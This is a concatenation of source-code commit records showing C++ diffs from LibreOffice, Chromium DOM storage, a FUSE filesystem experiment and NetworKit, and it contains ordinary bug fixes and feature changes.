stream helper!\");\n if ( pHelper.get() )\n {\n Reference<XInputStream> xIn = pHelper->getInputStream();\n if ( xIn.is() )\n {\n try\n {\n sal_Int32 avail = xIn->available();\n sal_Int64 tmpLongVal = n;\n sal_Int32 tmpIntVal;\n do {\n if (tmpLongVal >= ::std::numeric_limits<sal_Int64>::max() )\n tmpIntVal = ::std::numeric_limits<sal_Int32>::max();\n else \/\/ Casting is safe here.\n tmpIntVal = static_cast<sal_Int32>(tmpLongVal);\n\n tmpLongVal -= tmpIntVal;\n\n xIn->skipBytes(tmpIntVal);\n } while (tmpLongVal > 0);\n\n if ( avail != 0 && avail < n) {\n return(avail);\n } else {\n return(n);\n }\n }\n catch(Exception& e)\n {\n OSL_ENSURE(0,\"Exception catched! : skip();\");\n if (JNI_FALSE != env->ExceptionCheck())\n env->ExceptionClear();\n ::rtl::OString cstr( ::rtl::OUStringToOString(e.Message, RTL_TEXTENCODING_JAVA_UTF8 ) );\n OSL_TRACE( __FILE__\": forwarding Exception: %s\", cstr.getStr() );\n ThrowException( env,\n \"java\/io\/IOException\",\n cstr.getStr());\n }\n }\n }\n else\n {\n ThrowException( env,\n \"java\/io\/IOException\",\n \"Stream is not valid\");\n }\n return 0;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: available\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_available\n (JNIEnv * env, jobject obj_this,jstring key, jstring name)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n OSL_ENSURE(pHelper.get(),\"No stream helper!\");\n Reference<XInputStream> xIn = pHelper.get() ? pHelper->getInputStream() : Reference<XInputStream>();\n if ( xIn.is() )\n {\n try\n {\n return xIn->available();\n }\n catch(Exception& e)\n {\n OSL_ENSURE(0,\"Exception catched! : available();\");\n if (JNI_FALSE != env->ExceptionCheck())\n env->ExceptionClear();\n ::rtl::OString cstr( ::rtl::OUStringToOString(e.Message, RTL_TEXTENCODING_JAVA_UTF8 ) );\n OSL_TRACE( __FILE__\": forwarding Exception: %s\", cstr.getStr() );\n ThrowException( env,\n \"java\/io\/IOException\",\n cstr.getStr());\n }\n }\n else\n {\n ThrowException( env,\n \"java\/io\/IOException\",\n \"Stream is not valid\");\n }\n return 0;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\/*\n * Class: com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream\n * Method: read\n * Signature: (Ljava\/lang\/String;Ljava\/lang\/String;[B)I\n *\/\nJNIEXPORT jint JNICALL Java_com_sun_star_sdbcx_comp_hsqldb_StorageNativeInputStream_read__Ljava_lang_String_2Ljava_lang_String_2_3B\n (JNIEnv * env, jobject obj_this,jstring key, jstring name, jbyteArray buffer)\n{\n ::boost::shared_ptr<StreamHelper> pHelper = StorageContainer::getRegisteredStream(env,name,key);\n Reference< XInputStream> xIn = pHelper.get() ? pHelper->getInputStream() : Reference< XInputStream>();\n OSL_ENSURE(xIn.is(),\"Input stream is NULL!\");\n sal_Int32 nBytesRead = 0;\n if ( xIn.is() )\n {\n jsize nLen = env->GetArrayLength(buffer);\n Sequence< ::sal_Int8 > aData(nLen);\n\n sal_Int32 av = xIn->available();\n if ( av > 0 )\n {\n if (nLen > av)\n nBytesRead = xIn->readBytes(aData, av);\n else\n nBytesRead = xIn->readBytes(aData,nLen);\n }\n\n \/\/ Casting bytesRead to an int is okay, since the user can\n \/\/ only pass in an integer length to read, so the bytesRead\n \/\/ must <= len.\n \/\/\n if (nBytesRead <= 0) {\n return -1;\n }\n OSL_ENSURE(nLen >= nBytesRead,\"Buffer is too small!\");\n OSL_ENSURE(aData.getLength() >= nBytesRead,\"Buffer is too small!\");\n env->SetByteArrayRegion(buffer,0,nBytesRead,&aData[0]);\n#if OSL_DEBUG_LEVEL > 1\n ::rtl::OUString sOrgName = StorageContainer::jstring2ustring(env,name);\n sOrgName += ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\".input\"));\n fwrite(&aData[0],sizeof(sal_Int8),nBytesRead,getStreams()[sOrgName]);\n#endif\n }\n return nBytesRead;\n}\n\/\/ -----------------------------------------------------------------------------\n<|endoftext|>"} {"text":"<commit_before><commit_msg>coverity#1187866 unused bStartWithActualPage<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/in_process_webkit\/dom_storage_message_filter.h\"\n\n#include \"base\/nullable_string16.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/in_process_webkit\/dom_storage_area.h\"\n#include \"content\/browser\/in_process_webkit\/dom_storage_context.h\"\n#include \"content\/browser\/in_process_webkit\/dom_storage_namespace.h\"\n#include \"content\/common\/dom_storage_messages.h\"\n#include \"googleurl\/src\/gurl.h\"\n\nusing WebKit::WebStorageArea;\n\nDOMStorageMessageFilter* DOMStorageMessageFilter::storage_event_message_filter =\n NULL;\nconst GURL* DOMStorageMessageFilter::storage_event_url_ = NULL;\n\nDOMStorageMessageFilter::\nScopedStorageEventContext::ScopedStorageEventContext(\n DOMStorageMessageFilter* dispatcher_message_filter, const GURL* url) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DCHECK(!storage_event_message_filter);\n DCHECK(!storage_event_url_);\n storage_event_message_filter = dispatcher_message_filter;\n storage_event_url_ = url;\n DCHECK(storage_event_message_filter);\n DCHECK(storage_event_url_);\n}\n\nDOMStorageMessageFilter::\nScopedStorageEventContext::~ScopedStorageEventContext() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DCHECK(storage_event_message_filter);\n DCHECK(storage_event_url_);\n storage_event_message_filter = NULL;\n storage_event_url_ = NULL;\n}\n\nDOMStorageMessageFilter::DOMStorageMessageFilter(\n int process_id, WebKitContext* webkit_context)\n : webkit_context_(webkit_context),\n process_id_(process_id) {\n}\n\nDOMStorageMessageFilter::~DOMStorageMessageFilter() {\n \/\/ This is not always true during testing.\n if (peer_handle())\n Context()->UnregisterMessageFilter(this);\n}\n\nvoid DOMStorageMessageFilter::OnChannelConnected(int32 peer_pid) {\n BrowserMessageFilter::OnChannelConnected(peer_pid);\n\n Context()->RegisterMessageFilter(this);\n}\n\n\/* static *\/\nvoid DOMStorageMessageFilter::DispatchStorageEvent(const NullableString16& key,\n const NullableString16& old_value, const NullableString16& new_value,\n const string16& origin, const GURL& url, bool is_local_storage) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DCHECK(is_local_storage); \/\/ Only LocalStorage is implemented right now.\n DCHECK(storage_event_message_filter);\n DOMStorageMsg_Event_Params params;\n params.key = key;\n params.old_value = old_value;\n params.new_value = new_value;\n params.origin = origin;\n params.url = *storage_event_url_; \/\/ The url passed in is junk.\n params.storage_type = is_local_storage ? DOM_STORAGE_LOCAL\n : DOM_STORAGE_SESSION;\n \/\/ The storage_event_message_filter is the DOMStorageMessageFilter that is up\n \/\/ in the current call stack since it caused the storage event to fire.\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(storage_event_message_filter,\n &DOMStorageMessageFilter::OnStorageEvent, params));\n}\n\nbool DOMStorageMessageFilter::OnMessageReceived(const IPC::Message& message,\n bool* message_was_ok) {\n bool handled = true;\n IPC_BEGIN_MESSAGE_MAP_EX(DOMStorageMessageFilter, message, *message_was_ok)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_StorageAreaId, OnStorageAreaId)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_Length, OnLength)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_Key, OnKey)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_GetItem, OnGetItem)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_SetItem, OnSetItem)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_RemoveItem, OnRemoveItem)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_Clear, OnClear)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n\n return handled;\n}\n\nvoid DOMStorageMessageFilter::OnDestruct() const {\n BrowserThread::DeleteOnIOThread::Destruct(this);\n}\n\nvoid DOMStorageMessageFilter::OverrideThreadForMessage(\n const IPC::Message& message,\n BrowserThread::ID* thread) {\n if (IPC_MESSAGE_CLASS(message) == DOMStorageMsgStart)\n *thread = BrowserThread::WEBKIT;\n}\n\nvoid DOMStorageMessageFilter::OnStorageAreaId(int64 namespace_id,\n const string16& origin,\n int64* storage_area_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n\n DOMStorageNamespace* storage_namespace =\n Context()->GetStorageNamespace(namespace_id, true);\n if (!storage_namespace) {\n *storage_area_id = DOMStorageContext::kInvalidStorageId;\n return;\n }\n DOMStorageArea* storage_area = storage_namespace->GetStorageArea(origin);\n *storage_area_id = storage_area->id();\n}\n\nvoid DOMStorageMessageFilter::OnLength(int64 storage_area_id,\n unsigned* length) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *length = 0;\n } else {\n *length = storage_area->Length();\n }\n}\n\nvoid DOMStorageMessageFilter::OnKey(int64 storage_area_id, unsigned index,\n NullableString16* key) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *key = NullableString16(true);\n } else {\n *key = storage_area->Key(index);\n }\n}\n\nvoid DOMStorageMessageFilter::OnGetItem(int64 storage_area_id,\n const string16& key,\n NullableString16* value) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *value = NullableString16(true);\n } else {\n *value = storage_area->GetItem(key);\n }\n}\n\nvoid DOMStorageMessageFilter::OnSetItem(\n int64 storage_area_id, const string16& key,\n const string16& value, const GURL& url,\n WebKit::WebStorageArea::Result* result, NullableString16* old_value) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *old_value = NullableString16(true);\n *result = WebKit::WebStorageArea::ResultOK;\n return;\n }\n\n ScopedStorageEventContext scope(this, &url);\n *old_value = storage_area->SetItem(key, value, result);\n}\n\nvoid DOMStorageMessageFilter::OnRemoveItem(\n int64 storage_area_id, const string16& key, const GURL& url,\n NullableString16* old_value) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *old_value = NullableString16(true);\n return;\n }\n\n ScopedStorageEventContext scope(this, &url);\n *old_value = storage_area->RemoveItem(key);\n}\n\nvoid DOMStorageMessageFilter::OnClear(int64 storage_area_id, const GURL& url,\n bool* something_cleared) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *something_cleared = false;\n return;\n }\n\n ScopedStorageEventContext scope(this, &url);\n *something_cleared = storage_area->Clear();\n}\n\nvoid DOMStorageMessageFilter::OnStorageEvent(\n const DOMStorageMsg_Event_Params& params) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n const DOMStorageContext::MessageFilterSet* set =\n Context()->GetMessageFilterSet();\n DOMStorageContext::MessageFilterSet::const_iterator cur = set->begin();\n while (cur != set->end()) {\n \/\/ The renderer that generates the event handles it itself.\n if (*cur != this)\n (*cur)->Send(new DOMStorageMsg_Event(params));\n ++cur;\n }\n}\n<commit_msg>A stab at fixing a frequent crasher in the DOMStorage stuff.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/in_process_webkit\/dom_storage_message_filter.h\"\n\n#include \"base\/nullable_string16.h\"\n#include \"content\/browser\/browser_thread.h\"\n#include \"content\/browser\/in_process_webkit\/dom_storage_area.h\"\n#include \"content\/browser\/in_process_webkit\/dom_storage_context.h\"\n#include \"content\/browser\/in_process_webkit\/dom_storage_namespace.h\"\n#include \"content\/common\/dom_storage_messages.h\"\n#include \"googleurl\/src\/gurl.h\"\n\nusing WebKit::WebStorageArea;\n\nDOMStorageMessageFilter* DOMStorageMessageFilter::storage_event_message_filter =\n NULL;\nconst GURL* DOMStorageMessageFilter::storage_event_url_ = NULL;\n\nDOMStorageMessageFilter::\nScopedStorageEventContext::ScopedStorageEventContext(\n DOMStorageMessageFilter* dispatcher_message_filter, const GURL* url) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DCHECK(!storage_event_message_filter);\n DCHECK(!storage_event_url_);\n storage_event_message_filter = dispatcher_message_filter;\n storage_event_url_ = url;\n DCHECK(storage_event_message_filter);\n DCHECK(storage_event_url_);\n}\n\nDOMStorageMessageFilter::\nScopedStorageEventContext::~ScopedStorageEventContext() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DCHECK(storage_event_message_filter);\n DCHECK(storage_event_url_);\n storage_event_message_filter = NULL;\n storage_event_url_ = NULL;\n}\n\nDOMStorageMessageFilter::DOMStorageMessageFilter(\n int process_id, WebKitContext* webkit_context)\n : webkit_context_(webkit_context),\n process_id_(process_id) {\n}\n\nDOMStorageMessageFilter::~DOMStorageMessageFilter() {\n if (peer_handle())\n Context()->UnregisterMessageFilter(this);\n}\n\nvoid DOMStorageMessageFilter::OnChannelConnected(int32 peer_pid) {\n BrowserMessageFilter::OnChannelConnected(peer_pid);\n if (peer_handle())\n Context()->RegisterMessageFilter(this);\n}\n\n\/* static *\/\nvoid DOMStorageMessageFilter::DispatchStorageEvent(const NullableString16& key,\n const NullableString16& old_value, const NullableString16& new_value,\n const string16& origin, const GURL& url, bool is_local_storage) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DCHECK(is_local_storage); \/\/ Only LocalStorage is implemented right now.\n DCHECK(storage_event_message_filter);\n DOMStorageMsg_Event_Params params;\n params.key = key;\n params.old_value = old_value;\n params.new_value = new_value;\n params.origin = origin;\n params.url = *storage_event_url_; \/\/ The url passed in is junk.\n params.storage_type = is_local_storage ? DOM_STORAGE_LOCAL\n : DOM_STORAGE_SESSION;\n \/\/ The storage_event_message_filter is the DOMStorageMessageFilter that is up\n \/\/ in the current call stack since it caused the storage event to fire.\n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n NewRunnableMethod(storage_event_message_filter,\n &DOMStorageMessageFilter::OnStorageEvent, params));\n}\n\nbool DOMStorageMessageFilter::OnMessageReceived(const IPC::Message& message,\n bool* message_was_ok) {\n bool handled = true;\n IPC_BEGIN_MESSAGE_MAP_EX(DOMStorageMessageFilter, message, *message_was_ok)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_StorageAreaId, OnStorageAreaId)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_Length, OnLength)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_Key, OnKey)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_GetItem, OnGetItem)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_SetItem, OnSetItem)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_RemoveItem, OnRemoveItem)\n IPC_MESSAGE_HANDLER(DOMStorageHostMsg_Clear, OnClear)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n\n return handled;\n}\n\nvoid DOMStorageMessageFilter::OnDestruct() const {\n BrowserThread::DeleteOnIOThread::Destruct(this);\n}\n\nvoid DOMStorageMessageFilter::OverrideThreadForMessage(\n const IPC::Message& message,\n BrowserThread::ID* thread) {\n if (IPC_MESSAGE_CLASS(message) == DOMStorageMsgStart)\n *thread = BrowserThread::WEBKIT;\n}\n\nvoid DOMStorageMessageFilter::OnStorageAreaId(int64 namespace_id,\n const string16& origin,\n int64* storage_area_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n\n DOMStorageNamespace* storage_namespace =\n Context()->GetStorageNamespace(namespace_id, true);\n if (!storage_namespace) {\n *storage_area_id = DOMStorageContext::kInvalidStorageId;\n return;\n }\n DOMStorageArea* storage_area = storage_namespace->GetStorageArea(origin);\n *storage_area_id = storage_area->id();\n}\n\nvoid DOMStorageMessageFilter::OnLength(int64 storage_area_id,\n unsigned* length) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *length = 0;\n } else {\n *length = storage_area->Length();\n }\n}\n\nvoid DOMStorageMessageFilter::OnKey(int64 storage_area_id, unsigned index,\n NullableString16* key) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *key = NullableString16(true);\n } else {\n *key = storage_area->Key(index);\n }\n}\n\nvoid DOMStorageMessageFilter::OnGetItem(int64 storage_area_id,\n const string16& key,\n NullableString16* value) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *value = NullableString16(true);\n } else {\n *value = storage_area->GetItem(key);\n }\n}\n\nvoid DOMStorageMessageFilter::OnSetItem(\n int64 storage_area_id, const string16& key,\n const string16& value, const GURL& url,\n WebKit::WebStorageArea::Result* result, NullableString16* old_value) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *old_value = NullableString16(true);\n *result = WebKit::WebStorageArea::ResultOK;\n return;\n }\n\n ScopedStorageEventContext scope(this, &url);\n *old_value = storage_area->SetItem(key, value, result);\n}\n\nvoid DOMStorageMessageFilter::OnRemoveItem(\n int64 storage_area_id, const string16& key, const GURL& url,\n NullableString16* old_value) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *old_value = NullableString16(true);\n return;\n }\n\n ScopedStorageEventContext scope(this, &url);\n *old_value = storage_area->RemoveItem(key);\n}\n\nvoid DOMStorageMessageFilter::OnClear(int64 storage_area_id, const GURL& url,\n bool* something_cleared) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageArea* storage_area = Context()->GetStorageArea(storage_area_id);\n if (!storage_area) {\n *something_cleared = false;\n return;\n }\n\n ScopedStorageEventContext scope(this, &url);\n *something_cleared = storage_area->Clear();\n}\n\nvoid DOMStorageMessageFilter::OnStorageEvent(\n const DOMStorageMsg_Event_Params& params) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n const DOMStorageContext::MessageFilterSet* set =\n Context()->GetMessageFilterSet();\n DOMStorageContext::MessageFilterSet::const_iterator cur = set->begin();\n while (cur != set->end()) {\n \/\/ The renderer that generates the event handles it itself.\n if (*cur != this)\n (*cur)->Send(new DOMStorageMsg_Event(params));\n ++cur;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n FUSE: Filesystem in Userspace\n Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>\n\n This program can be distributed under the terms of the GNU GPL.\n See the file COPYING.\n\n gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello\n*\/\n\n#define FUSE_USE_VERSION 30\n\n#include <fuse.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include <fcntl.h>\n\n#include <iostream>\n#include <fstream>\n#include <loss\/fs\/virtual_fileystem.h>\n#include <loss\/fs\/ram_filesystem.h>\n#include <loss\/fs\/ram_filesystem_drive.h>\n\nstatic const char *hello_str = \"Hello World!\\n\";\nstatic const char *hello_path = \"\/hello\";\n\nstatic loss::VirtualFileSystem *vfs = nullptr;\nstatic loss::RamFileSystem *ramfs = nullptr;\n\nstatic int hello_getattr(const char *path, struct stat *stbuf)\n{\n int res = 0;\n\n memset(stbuf, 0, sizeof(struct stat));\n \/\/ Not really used at the moment\n stbuf->st_nlink = 1;\n \/*\n if (strcmp(path, \"\/\") == 0) {\n stbuf->st_mode = S_IFDIR | 0755;\n stbuf->st_nlink = 2;\n } else if (strcmp(path, hello_path) == 0) {\n stbuf->st_mode = S_IFREG | 0444;\n stbuf->st_nlink = 1;\n stbuf->st_size = strlen(hello_str);\n } else\n res = -ENOENT;\n *\/\n loss::MetadataDef metadata;\n auto read_result = vfs->entry_metadata(path, metadata);\n if (read_result != loss::SUCCESS)\n {\n res = -ENOENT;\n }\n else\n {\n if (metadata.type() == loss::FOLDER_ENTRY)\n {\n stbuf->st_mode = S_IFDIR | 0755;\n }\n else if (metadata.type() == loss::FILE_ENTRY)\n {\n stbuf->st_mode = S_IFREG | 0444;\n uint32_t size;\n vfs->entry_size(path, size);\n stbuf->st_size = size;\n }\n }\n\n return res;\n}\n\nstatic int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,\n off_t offset, struct fuse_file_info *fi)\n{\n (void) offset;\n (void) fi;\n\n filler(buf, \".\", NULL, 0);\n filler(buf, \"..\", NULL, 0);\n\n loss::FolderEntry folder;\n auto read_result = vfs->read_folder(path, folder);\n\n if (read_result == loss::SUCCESS)\n {\n for (auto &iter : folder)\n {\n filler(buf, iter.first.c_str(), NULL, 0);\n }\n }\n else\n {\n return -ENOENT;\n }\n\n return 0;\n}\n\nstatic int hello_open(const char *path, struct fuse_file_info *fi)\n{\n loss::MetadataDef metadata;\n if (vfs->entry_metadata(path, metadata) != loss::SUCCESS)\n {\n return -ENOENT; \n }\n\n if ((fi->flags & 3) != O_RDONLY)\n {\n return -EACCES;\n }\n\n return 0;\n}\n\nstatic int hello_read(const char *path, char *buf, size_t size, off_t offset,\n struct fuse_file_info *fi)\n{\n auto read_result = vfs->read(path, offset, size, (uint8_t*)buf);\n if (read_result.status() != loss::SUCCESS)\n {\n return -ENOENT;\n }\n\n return read_result.bytes();\n \/*\n size_t len;\n (void) fi;\n if(strcmp(path, hello_path) != 0)\n return -ENOENT;\n\n len = strlen(hello_str);\n if (offset < len) {\n if (offset + size > len)\n size = len - offset;\n memcpy(buf, hello_str + offset, size);\n } else\n size = 0;\n\n return size;\n *\/\n}\n\nstatic struct fuse_operations hello_oper = {\n .getattr = hello_getattr,\n .readdir = hello_readdir,\n .open = hello_open,\n .read = hello_read,\n};\n\nint main(int argc, char *argv[])\n{\n int i;\n\tfor(i = 1; i < argc && (argv[i][0] == '-'); i++)\n {\n\t\tif(i == argc)\n {\n\t\t\treturn (-1);\n\t\t}\n\t}\n\n vfs = new loss::VirtualFileSystem();\n ramfs = new loss::RamFileSystem();\n vfs->root_filesystem(ramfs);\n const char *file_to_open = argv[i];\n {\n std::ifstream input(file_to_open);\n loss::RamFileSystemDeserialise deserialise(input, ramfs);\n deserialise.load();\n }\n\n\tfor(; i < argc; i++)\n {\n\t\targv[i] = argv[i+1];\n\t}\n\targc--;\n auto result = fuse_main(argc, argv, &hello_oper, NULL);\n\n delete vfs;\n\n return result;\n}\n<commit_msg>- Added debug to lossfs, trying to get writing working.<commit_after>\/*\n FUSE: Filesystem in Userspace\n Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>\n\n This program can be distributed under the terms of the GNU GPL.\n See the file COPYING.\n\n gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello\n*\/\n\n#define FUSE_USE_VERSION 30\n\n#include <fuse.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include <fcntl.h>\n\n#include <iostream>\n#include <fstream>\n#include <loss\/fs\/virtual_fileystem.h>\n#include <loss\/fs\/ram_filesystem.h>\n#include <loss\/fs\/ram_filesystem_drive.h>\n\nstatic const char *hello_str = \"Hello World!\\n\";\nstatic const char *hello_path = \"\/hello\";\n\nstatic loss::VirtualFileSystem *vfs = nullptr;\nstatic loss::RamFileSystem *ramfs = nullptr;\n\nstatic int hello_getattr(const char *path, struct stat *stbuf)\n{\n std::cout << \"Getattr: \" << path << \"\\n\";\n int res = 0;\n\n memset(stbuf, 0, sizeof(struct stat));\n \/\/ Not really used at the moment\n stbuf->st_nlink = 1;\n \/*\n if (strcmp(path, \"\/\") == 0) {\n stbuf->st_mode = S_IFDIR | 0755;\n stbuf->st_nlink = 2;\n } else if (strcmp(path, hello_path) == 0) {\n stbuf->st_mode = S_IFREG | 0444;\n stbuf->st_nlink = 1;\n stbuf->st_size = strlen(hello_str);\n } else\n res = -ENOENT;\n *\/\n loss::MetadataDef metadata;\n auto read_result = vfs->entry_metadata(path, metadata);\n if (read_result != loss::SUCCESS)\n {\n res = -ENOENT;\n }\n else\n {\n if (metadata.type() == loss::FOLDER_ENTRY)\n {\n stbuf->st_mode = S_IFDIR | 0755;\n }\n else if (metadata.type() == loss::FILE_ENTRY)\n {\n stbuf->st_mode = S_IFREG | 0666;\n uint32_t size;\n vfs->entry_size(path, size);\n stbuf->st_size = size;\n }\n }\n\n return res;\n}\n\nstatic int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,\n off_t offset, struct fuse_file_info *fi)\n{\n std::cout << \"Readdir: \" << path << \"\\n\";\n (void) offset;\n (void) fi;\n\n filler(buf, \".\", NULL, 0);\n filler(buf, \"..\", NULL, 0);\n\n loss::FolderEntry folder;\n auto read_result = vfs->read_folder(path, folder);\n\n if (read_result == loss::SUCCESS)\n {\n for (auto &iter : folder)\n {\n filler(buf, iter.first.c_str(), NULL, 0);\n }\n }\n else\n {\n return -ENOENT;\n }\n\n return 0;\n}\n\nstatic int hello_open(const char *path, struct fuse_file_info *fi)\n{\n std::cout << \"Open: \" << path << \"\\n\";\n loss::MetadataDef metadata;\n if (vfs->entry_metadata(path, metadata) != loss::SUCCESS)\n {\n return -ENOENT; \n }\n\n return 0;\n}\n\nstatic int hello_read(const char *path, char *buf, size_t size, off_t offset,\n struct fuse_file_info *fi)\n{\n std::cout << \"Read: \" << path << \": \" << size << \": \" << offset << \"\\n\";\n auto read_result = vfs->read(path, offset, size, (uint8_t*)buf);\n if (read_result.status() != loss::SUCCESS)\n {\n return -ENOENT;\n }\n\n return read_result.bytes();\n \/*\n size_t len;\n (void) fi;\n if(strcmp(path, hello_path) != 0)\n return -ENOENT;\n\n len = strlen(hello_str);\n if (offset < len) {\n if (offset + size > len)\n size = len - offset;\n memcpy(buf, hello_str + offset, size);\n } else\n size = 0;\n\n return size;\n *\/\n}\n\nstatic int hello_write(const char *path, const char *buf, size_t size, off_t off, struct fuse_file_info *fi)\n{\n std::cout << \"Write: \" << path << \": \" << size << \": \" << off << \"\\n\";\n auto write_result = vfs->write(path, off, size, (const uint8_t *)buf);\n return write_result.bytes();\n}\n\nstatic struct fuse_operations hello_oper = {\n .getattr = hello_getattr,\n .readdir = hello_readdir,\n .open = hello_open,\n .read = hello_read,\n .write = hello_write,\n};\n\nint main(int argc, char *argv[])\n{\n int i;\n\tfor(i = 1; i < argc && (argv[i][0] == '-'); i++)\n {\n\t\tif(i == argc)\n {\n\t\t\treturn (-1);\n\t\t}\n\t}\n\n vfs = new loss::VirtualFileSystem();\n ramfs = new loss::RamFileSystem();\n vfs->root_filesystem(ramfs);\n const char *file_to_open = argv[i];\n {\n std::ifstream input(file_to_open);\n loss::RamFileSystemDeserialise deserialise(input, ramfs);\n deserialise.load();\n }\n\n\tfor(; i < argc; i++)\n {\n\t\targv[i] = argv[i+1];\n\t}\n\targc--;\n auto result = fuse_main(argc, argv, &hello_oper, NULL);\n\n delete vfs;\n\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * DynApproxBetweenness.cpp\n *\n * Created on: 31.07.2014\n * Author: ebergamini\n *\/\n\n#include \"DynApproxBetweenness.h\"\n#include \"..\/auxiliary\/Random.h\"\n#include \"..\/properties\/Diameter.h\"\n#include \"..\/graph\/Sampling.h\"\n#include \"..\/graph\/DynDijkstra.h\"\n#include \"..\/graph\/DynBFS.h\"\n#include \"..\/auxiliary\/Log.h\"\n#include \"..\/auxiliary\/NumericTools.h\"\n\n\nnamespace NetworKit {\n\nDynApproxBetweenness::DynApproxBetweenness(const Graph& G, double epsilon, double delta, bool storePredecessors) : Centrality(G, true),\nstorePreds(storePredecessors), epsilon(epsilon), delta(delta) {\n\n}\n\n\ncount DynApproxBetweenness::getNumberOfSamples() {\n return r;\n}\n\n\nvoid DynApproxBetweenness::run() {\n if (G.isDirected()) {\n throw std::runtime_error(\"Invalid argument: G must be undirected.\");\n }\n scoreData.clear();\n scoreData.resize(G.upperNodeIdBound());\n u.clear();\n v.clear();\n sampledPaths.clear();\n\n double c = 0.5; \/\/ universal positive constant - see reference in paper\n\n\n edgeweight vd = Diameter::estimatedVertexDiameterPedantic(G);\n\n INFO(\"estimated diameter: \", vd);\n r = ceil((c \/ (epsilon * epsilon)) * (floor(log(vd - 2)) + 1 + log(1 \/ delta)));\n INFO(\"taking \", r, \" path samples\");\n sssp.clear();\n sssp.resize(r);\n u.resize(r);\n 